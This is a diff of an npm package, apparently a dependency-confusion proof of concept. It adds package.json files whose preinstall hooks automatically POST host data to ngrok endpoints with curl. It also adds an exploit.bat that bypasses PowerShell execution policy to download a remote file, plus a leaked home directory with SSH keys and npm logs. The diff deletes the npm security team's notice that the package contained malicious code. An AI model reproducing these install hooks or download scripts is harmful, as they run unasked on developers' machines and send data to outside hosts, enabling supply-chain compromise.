|
43
|
+
38 notice 20B .lesshst
|
|
44
|
+
38 notice 9.7kB .npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
|
|
45
|
+
38 notice 9.9kB .npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
|
|
46
|
+
38 notice 11.5kB .npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
|
|
47
|
+
38 notice 10.2kB .npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log
|
|
48
|
+
38 notice 10.4kB .npm/_logs/2025-02-24T19_00_04_898Z-debug-0.log
|
|
49
|
+
38 notice 10.6kB .npm/_logs/2025-02-24T19_33_20_796Z-debug-0.log
|
|
50
|
+
38 notice 12.0kB .npm/_logs/2025-02-24T19_52_14_957Z-debug-0.log
|
|
51
|
+
38 notice 11.9kB .npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
|
|
52
|
+
38 notice 12.1kB .npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log
|
|
53
|
+
38 notice 1.7kB .npm/_logs/2025-02-24T20_33_02_781Z-debug-0.log
|
|
54
|
+
38 notice 1.7kB .npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log
|
|
55
|
+
38 notice 0B .npm/_update-notifier-last-checked
|
|
56
|
+
38 notice 807B .profile
|
|
57
|
+
38 notice 100B .ssh/authorized_keys
|
|
58
|
+
38 notice 142B .ssh/known_hosts
|
|
59
|
+
38 notice 0B .sudo_as_admin_successful
|
|
60
|
+
38 notice 327B base.ldif
|
|
61
|
+
38 notice 377B exploit.bat
|
|
62
|
+
38 notice 3.8kB exploit.txt
|
|
63
|
+
38 notice 356B package.json
|
|
64
|
+
38 notice 289B package.json.save
|
|
65
|
+
39 notice === Tarball Details ===
|
|
66
|
+
40 notice name: myconfusedfunctionpoctestpackage
|
|
67
|
+
40 notice version: 1.0.6
|
|
68
|
+
40 notice filename: myconfusedfunctionpoctestpackage-1.0.6.tgz
|
|
69
|
+
40 notice package size: 13.4 kB
|
|
70
|
+
40 notice unpacked size: 123.4 kB
|
|
71
|
+
40 notice shasum: f4ddd2c429fff84e2d1b4ebcbe03d47fe826e21a
|
|
72
|
+
40 notice integrity: sha512-c/KosGfh42/4/[...]eB8rGM89ayueg==
|
|
73
|
+
40 notice total files: 26
|
|
74
|
+
41 notice
|
|
75
|
+
42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
|
|
76
|
+
43 http fetch PUT 200 https://registry.npmjs.org/myconfusedfunctionpoctestpackage 1642ms
|
|
77
|
+
44 timing command:publish Completed in 1887ms
|
|
78
|
+
45 verbose exit 0
|
|
79
|
+
46 timing npm Completed in 1974ms
|
|
80
|
+
47 info ok
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
0 verbose cli /usr/bin/node /usr/bin/npm
|
|
2
|
+
1 info using npm@9.2.0
|
|
3
|
+
2 info using node@v18.19.1
|
|
4
|
+
3 timing npm:load:whichnode Completed in 0ms
|
|
5
|
+
4 timing config:load:defaults Completed in 3ms
|
|
6
|
+
5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
|
|
7
|
+
6 timing config:load:builtin Completed in 4ms
|
|
8
|
+
7 timing config:load:cli Completed in 3ms
|
|
9
|
+
8 timing config:load:env Completed in 0ms
|
|
10
|
+
9 timing config:load:project Completed in 2ms
|
|
11
|
+
10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
|
|
12
|
+
11 timing config:load:user Completed in 1ms
|
|
13
|
+
12 timing config:load:file:/etc/npmrc Completed in 1ms
|
|
14
|
+
13 timing config:load:global Completed in 1ms
|
|
15
|
+
14 timing config:load:setEnvs Completed in 2ms
|
|
16
|
+
15 timing config:load Completed in 17ms
|
|
17
|
+
16 timing npm:load:configload Completed in 17ms
|
|
18
|
+
17 timing npm:load:mkdirpcache Completed in 0ms
|
|
19
|
+
18 timing npm:load:mkdirplogs Completed in 0ms
|
|
20
|
+
19 verbose title npm publish
|
|
21
|
+
20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
|
|
22
|
+
21 timing npm:load:setTitle Completed in 3ms
|
|
23
|
+
22 timing config:load:flatten Completed in 6ms
|
|
24
|
+
23 timing npm:load:display Completed in 11ms
|
|
25
|
+
24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T20_43_08_949Z-
|
|
26
|
+
25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T20_43_08_949Z-debug-0.log
|
|
27
|
+
26 timing npm:load:logFile Completed in 14ms
|
|
28
|
+
27 timing npm:load:timers Completed in 0ms
|
|
29
|
+
28 timing npm:load:configScope Completed in 1ms
|
|
30
|
+
29 timing npm:load Completed in 47ms
|
|
31
|
+
30 verbose publish [ '.' ]
|
|
32
|
+
31 timing config:load:flatten Completed in 0ms
|
|
33
|
+
32 silly logfile start cleaning logs, removing 1 files
|
|
34
|
+
33 silly logfile done cleaning log files
|
|
35
|
+
34 timing arborist:ctor Completed in 2ms
|
|
File without changes
|
package/.profile
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
# ~/.profile: executed by the command interpreter for login shells.
|
|
2
|
+
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
|
|
3
|
+
# exists.
|
|
4
|
+
# see /usr/share/doc/bash/examples/startup-files for examples.
|
|
5
|
+
# the files are located in the bash-doc package.
|
|
6
|
+
|
|
7
|
+
# the default umask is set in /etc/profile; for setting the umask
|
|
8
|
+
# for ssh logins, install and configure the libpam-umask package.
|
|
9
|
+
#umask 022
|
|
10
|
+
|
|
11
|
+
# if running bash
|
|
12
|
+
if [ -n "$BASH_VERSION" ]; then
|
|
13
|
+
# include .bashrc if it exists
|
|
14
|
+
if [ -f "$HOME/.bashrc" ]; then
|
|
15
|
+
. "$HOME/.bashrc"
|
|
16
|
+
fi
|
|
17
|
+
fi
|
|
18
|
+
|
|
19
|
+
# set PATH so it includes user's private bin if it exists
|
|
20
|
+
if [ -d "$HOME/bin" ] ; then
|
|
21
|
+
PATH="$HOME/bin:$PATH"
|
|
22
|
+
fi
|
|
23
|
+
|
|
24
|
+
# set PATH so it includes user's private bin if it exists
|
|
25
|
+
if [ -d "$HOME/.local/bin" ] ; then
|
|
26
|
+
PATH="$HOME/.local/bin:$PATH"
|
|
27
|
+
fi
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPq46DtywGDKH3HEWsTSAHMChzF4JdA12udtwRzMwFRw generated-by-azure
|
package/.ssh/known_hosts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|1|hAkID7hatXT1a6M7ajlyZPpSkF8=|kncqw+21A5d2r+H/VEu2NS/KylU= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIII/rK32lDm0wteqXPKQZiqRxMQlA2IcT1azYWLHzTMe
|
|
File without changes
|
package/base.ldif
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
dn: dc=ldap,dc=example,dc=com
|
|
2
|
+
objectClass: top
|
|
3
|
+
objectClass: dcObject
|
|
4
|
+
objectClass: organization
|
|
5
|
+
o: Example LDAP Organization
|
|
6
|
+
dc: ldap
|
|
7
|
+
|
|
8
|
+
dn: cn=admin,ldap,dc=example,dc=com
|
|
9
|
+
objectClass: simpleSecurityObject
|
|
10
|
+
objectClass: organizationalRole
|
|
11
|
+
cn: admin
|
|
12
|
+
description: Directory Administrator
|
|
13
|
+
userPassword: {SSHA}your_encrypted_password
|
package/exploit.bat
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -Command "& { try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://drive.google.com/uc?export=download&id=1dTAN7CRkUj25ViAGpiUCZOCiyjpJGIQP' -OutFile 'C:\Users\ADClient1-Admin\Downloads\exploit.txt' } catch { Write-Error $_ } }"
|
package/exploit.txt
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
This file is a "malicious" file
|
|
2
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡠⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
3
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠃⠀⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
4
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠋⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀
|
|
5
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠾⢛⠒⠀⠀⠀⠀⠀⠀⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀
|
|
6
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣶⣄⡈⠓⢄⠠⡀⠀⠀⠀⣄⣷⠀⠀⠀⠀⠀⠀⠀
|
|
7
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣷⠀⠈⠱⡄⠑⣌⠆⠀⠀⡜⢻⠀⠀⠀⠀⠀⠀⠀
|
|
8
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡿⠳⡆⠐⢿⣆⠈⢿⠀⠀⡇⠘⡆⠀⠀⠀⠀⠀⠀
|
|
9
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣷⡇⠀⠀⠈⢆⠈⠆⢸⠀⠀⢣⠀⠀⠀⠀⠀⠀
|
|
10
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣧⠀⠀⠈⢂⠀⡇⠀⠀⢨⠓⣄⠀⠀⠀⠀
|
|
11
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣦⣤⠖⡏⡸⠀⣀⡴⠋⠀⠈⠢⡀⠀⠀
|
|
12
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠁⣹⣿⣿⣿⣷⣾⠽⠖⠊⢹⣀⠄⠀⠀⠀⠈⢣⡀
|
|
13
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⣇⣰⢫⢻⢉⠉⠀⣿⡆⠀⠀⡸⡏⠀⠀⠀⠀⠀⠀⢇
|
|
14
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡇⡇⠈⢸⢸⢸⠀⠀⡇⡇⠀⠀⠁⠻⡄⡠⠂⠀⠀⠀⠘
|
|
15
|
+
⢤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠛⠓⡇⠀⠸⡆⢸⠀⢠⣿⠀⠀⠀⠀⣰⣿⣵⡆⠀⠀⠀⠀
|
|
16
|
+
⠈⢻⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⣦⣀⡇⠀⢧⡇⠀⠀⢺⡟⠀⠀⠀⢰⠉⣰⠟⠊⣠⠂⠀⡸
|
|
17
|
+
⠀⠀⢻⣿⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⢧⡙⠺⠿⡇⠀⠘⠇⠀⠀⢸⣧⠀⠀⢠⠃⣾⣌⠉⠩⠭⠍⣉⡇
|
|
18
|
+
⠀⠀⠀⠻⣿⣿⣿⣿⣿⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣞⣋⠀⠈⠀⡳⣧⠀⠀⠀⠀⠀⢸⡏⠀⠀⡞⢰⠉⠉⠉⠉⠉⠓⢻⠃
|
|
19
|
+
⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⢀⣀⠠⠤⣤⣤⠤⠞⠓⢠⠈⡆⠀⢣⣸⣾⠆⠀⠀⠀⠀⠀⢀⣀⡼⠁⡿⠈⣉⣉⣒⡒⠢⡼⠀
|
|
20
|
+
⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣎⣽⣶⣤⡶⢋⣤⠃⣠⡦⢀⡼⢦⣾⡤⠚⣟⣁⣀⣀⣀⣀⠀⣀⣈⣀⣠⣾⣅⠀⠑⠂⠤⠌⣩⡇⠀
|
|
21
|
+
⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⣺⢁⣞⣉⡴⠟⡀⠀⠀⠀⠁⠸⡅⠀⠈⢷⠈⠏⠙⠀⢹⡛⠀⢉⠀⠀⠀⣀⣀⣼⡇⠀
|
|
22
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⡟⢡⠖⣡⡴⠂⣀⣀⣀⣰⣁⣀⣀⣸⠀⠀⠀⠀⠈⠁⠀⠀⠈⠀⣠⠜⠋⣠⠁⠀
|
|
23
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⡟⢿⣿⣿⣷⡟⢋⣥⣖⣉⠀⠈⢁⡀⠤⠚⠿⣷⡦⢀⣠⣀⠢⣄⣀⡠⠔⠋⠁⠀⣼⠃⠀⠀
|
|
24
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⡄⠈⠻⣿⣿⢿⣛⣩⠤⠒⠉⠁⠀⠀⠀⠀⠀⠉⠒⢤⡀⠉⠁⠀⠀⠀⠀⠀⢀⡿⠀⠀⠀
|
|
25
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣤⣤⠴⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠤⠀⠀⠀⠀⠀⢩⠇⠀⠀⠀
|
|
26
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
"name": "myconfusedfunctionpoctestpackage",
|
|
3
|
+
"version": "1.0.7",
|
|
4
|
+
"description": "poc",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo 'testa'",
|
|
8
|
+
"preinstall": "ping -c 1 instance-20250220-203301 | curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode @- https://1c6c-34-168-173-48.ngrok-free.app"
|
|
9
|
+
},
|
|
10
|
+
"author": "me",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "mygcpconfusedfunctionpocmaliciouspackage",
|
|
3
|
+
"version": "1.1.1",
|
|
4
|
+
"description": "poc",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo 'testa'",
|
|
8
|
+
"preinstall": "echo 'hello world'|jq -sRr|curl -X POST https://d2b8-34-168-173-48.ngrok-free.app"
|
|
9
|
+
},
|
|
10
|
+
"author": "me",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=myconfusedfunctionpoctestpackage for more information.
|